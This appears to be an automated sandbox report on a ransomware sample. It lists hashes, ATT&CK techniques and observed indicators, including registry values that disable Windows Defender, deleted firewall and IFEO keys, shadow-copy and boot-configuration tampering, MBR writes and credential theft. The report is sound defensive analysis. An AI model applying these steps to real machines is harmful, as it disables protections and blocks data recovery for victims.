c7c959ae3be582a7a578051620ae3fa2a39f2f91ee24a091665e23bb524b2ca4

Analysis

max time kernel
59s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 11:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
Size 1.1MB
Sample260709-m39basas5x
SHA256 c7c959ae3be582a7a578051620ae3fa2a39f2f91ee24a091665e23bb524b2ca4
MD5 171020d0b64bcf348e0b0960723be7f4
SHA1 10a744c5d39d5414c37f07b106f94a5bbe04f75d
SHA512 78fe9b8edfa2a4010c3541144d4c3cff47da1d6b1c3cb5013965791626e6d95a697236c677f783ec0d30b6acc799d721e74d67ddf5caa1e976cb356a3e25756e
SSDEEP 12288:u13b0gl8FFLNYu698xp+mAu/MC13xRKtAEhQA:uugl8lYu6SnLn13vKt1
TLSH
T1CA455A17F6B291FCE15AC07483166673FA72B88941323DBF5BE8AA312E55F506B1CB04
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit credential_access defense_evasion discovery evasion execution persistence ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 25 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\TenantRestrictions	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVVMCreators	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe

Modifies security service 2 TTPs 7 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/memory/1832-61-0x00007FF73C120000-0x00007FF73C24A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/1832-62-0x00007FF73C120000-0x00007FF73C24A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 53 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Modifies service settings 1 TTPs
Alters the configuration of existing services.
defense_evasion

Windows Service
T1543.003
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Indicator Removal: Clear Persistence 1 TTPs 53 IoCs

remove IFEO.

defense_evasion

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Modifies boot configuration data using bcdedit 10 IoCs

pid	Process
5564	bcdedit.exe
52	bcdedit.exe
240	bcdedit.exe
1620	bcdedit.exe
3560	bcdedit.exe
2936	bcdedit.exe
3260	bcdedit.exe
3360	bcdedit.exe
2812	bcdedit.exe
1072	bcdedit.exe

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4584	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\updwall.jpg"	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Launches sc.exe 13 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2708	sc.exe
3180	sc.exe
5000	sc.exe
5336	sc.exe
5408	sc.exe
4796	sc.exe
5704	sc.exe
4916	sc.exe
4852	sc.exe
2220	sc.exe
4320	sc.exe
4480	sc.exe
2600	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1552	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
1872	wmic.exe
1872	wmic.exe
1872	wmic.exe
1872	wmic.exe
5020	wmic.exe
5020	wmic.exe
5020	wmic.exe
5020	wmic.exe
5496	wmic.exe
5496	wmic.exe
5496	wmic.exe
5496	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSystemEnvironmentPrivilege	4828	svchost.exe
Token: SeIncreaseQuotaPrivilege	1872	wmic.exe
Token: SeSecurityPrivilege	1872	wmic.exe
Token: SeTakeOwnershipPrivilege	1872	wmic.exe
Token: SeLoadDriverPrivilege	1872	wmic.exe
Token: SeSystemProfilePrivilege	1872	wmic.exe
Token: SeSystemtimePrivilege	1872	wmic.exe
Token: SeProfSingleProcessPrivilege	1872	wmic.exe
Token: SeIncBasePriorityPrivilege	1872	wmic.exe
Token: SeCreatePagefilePrivilege	1872	wmic.exe
Token: SeBackupPrivilege	1872	wmic.exe
Token: SeRestorePrivilege	1872	wmic.exe
Token: SeShutdownPrivilege	1872	wmic.exe
Token: SeDebugPrivilege	1872	wmic.exe
Token: SeSystemEnvironmentPrivilege	1872	wmic.exe
Token: SeRemoteShutdownPrivilege	1872	wmic.exe
Token: SeUndockPrivilege	1872	wmic.exe
Token: SeManageVolumePrivilege	1872	wmic.exe
Token: 33	1872	wmic.exe
Token: 34	1872	wmic.exe
Token: 35	1872	wmic.exe
Token: 36	1872	wmic.exe
Token: SeIncreaseQuotaPrivilege	5020	wmic.exe
Token: SeSecurityPrivilege	5020	wmic.exe
Token: SeTakeOwnershipPrivilege	5020	wmic.exe
Token: SeLoadDriverPrivilege	5020	wmic.exe
Token: SeSystemProfilePrivilege	5020	wmic.exe
Token: SeSystemtimePrivilege	5020	wmic.exe
Token: SeProfSingleProcessPrivilege	5020	wmic.exe
Token: SeIncBasePriorityPrivilege	5020	wmic.exe
Token: SeCreatePagefilePrivilege	5020	wmic.exe
Token: SeBackupPrivilege	5020	wmic.exe
Token: SeRestorePrivilege	5020	wmic.exe
Token: SeShutdownPrivilege	5020	wmic.exe
Token: SeDebugPrivilege	5020	wmic.exe
Token: SeSystemEnvironmentPrivilege	5020	wmic.exe
Token: SeRemoteShutdownPrivilege	5020	wmic.exe
Token: SeUndockPrivilege	5020	wmic.exe
Token: SeManageVolumePrivilege	5020	wmic.exe
Token: 33	5020	wmic.exe
Token: 34	5020	wmic.exe
Token: 35	5020	wmic.exe
Token: 36	5020	wmic.exe
Token: SeIncreaseQuotaPrivilege	5020	wmic.exe
Token: SeSecurityPrivilege	5020	wmic.exe
Token: SeTakeOwnershipPrivilege	5020	wmic.exe
Token: SeLoadDriverPrivilege	5020	wmic.exe
Token: SeSystemProfilePrivilege	5020	wmic.exe
Token: SeSystemtimePrivilege	5020	wmic.exe
